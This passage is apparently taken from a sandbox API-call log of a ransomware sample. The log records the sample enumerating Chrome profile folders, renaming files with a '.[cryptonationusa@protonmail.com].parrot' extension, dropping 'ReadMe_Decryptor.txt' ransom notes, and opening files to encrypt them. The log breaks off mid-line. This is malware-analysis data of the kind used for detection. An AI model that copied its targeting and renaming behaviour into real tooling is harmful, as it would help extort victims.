[0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0052.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0052.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0052.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0052.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0052.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0052.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0052.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x148) returned 0x5cce70 [0052.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0052.255] WriteFile (in: hFile=0x270, lpBuffer=0x5cce70*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5cce70*, lpNumberOfBytesWritten=0x18e604*=0x148, lpOverlapped=0x0) returned 1 [0052.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0052.255] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x141, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0052.256] CloseHandle (hObject=0x270) returned 1 [0052.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d1908 [0052.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x5d38b0 [0052.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0052.256] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0052.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0052.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240278 | out: hHeap=0x5b0000) returned 1 [0052.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0052.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d1908 [0052.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d38b0 [0052.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0052.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0052.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0052.258] GetFileType (hFile=0x270) returned 0x1 [0052.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0052.268] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0052.268] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xae26eea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xae26eea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.268] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0cbf80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="000003~1.PAR")) returned 1 [0052.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0052.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0052.268] lstrcmpW (lpString1="000003.log.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0052.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d38b0 [0052.268] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824d3190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0052.268] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0052.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d86b0 [0052.268] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0052.268] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0f20e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0052.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0052.269] lstrcmpW (lpString1="LOG.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240060 [0052.269] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae26eea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANIFE~1.PAR")) returned 1 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0052.269] lstrcmpW (lpString1="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x2240178 [0052.269] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae0cbf80, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xae0cbf80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xae295000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0052.269] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0052.269] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae0cbf80, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xae0cbf80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xae295000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0052.269] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0052.269] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0052.269] lstrcmpW (lpString1="Extensions", lpString2=".") returned 1 [0052.269] lstrcmpW (lpString1="Extensions", lpString2="..") returned 1 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x5d1908 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0052.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2b80 [0052.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x22402b0 [0052.269] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0052.564] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.565] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.565] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.565] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.565] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1 [0052.565] lstrcmpW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2=".") returned 1 [0052.565] lstrcmpW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="..") returned 1 [0052.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0052.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d33c8 [0052.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x22404c8 [0052.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0052.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0052.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0052.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d37b8 [0052.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x22402b0 [0052.565] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0052.663] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.663] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.663] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.663] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.663] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0052.663] lstrcmpW (lpString1="0.9_0", lpString2=".") returned 1 [0052.663] lstrcmpW (lpString1="0.9_0", lpString2="..") returned 1 [0052.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x22405d8 [0052.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0052.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x22402b0 [0052.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x22406e0 [0052.663] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0052.971] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.971] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.971] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.971] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.971] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1 [0052.971] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0052.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0052.971] lstrcmpW (lpString1="icon_128.png", lpString2="ReadMe_Decryptor.txt") returned -1 [0052.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0053.137] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0xd2c [0053.137] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe44, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.137] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.137] ReadFile (in: hFile=0x270, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0053.138] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.138] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd2c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xd2c, lpOverlapped=0x0) returned 1 [0053.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0053.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0053.139] GetLastError () returned 0x0 [0053.139] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0053.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0053.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0053.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0053.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0053.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22403b8 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x2240a80 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22403b8 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2240bc8 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d4d18 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240bc8 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x2240a80 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d4d18 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 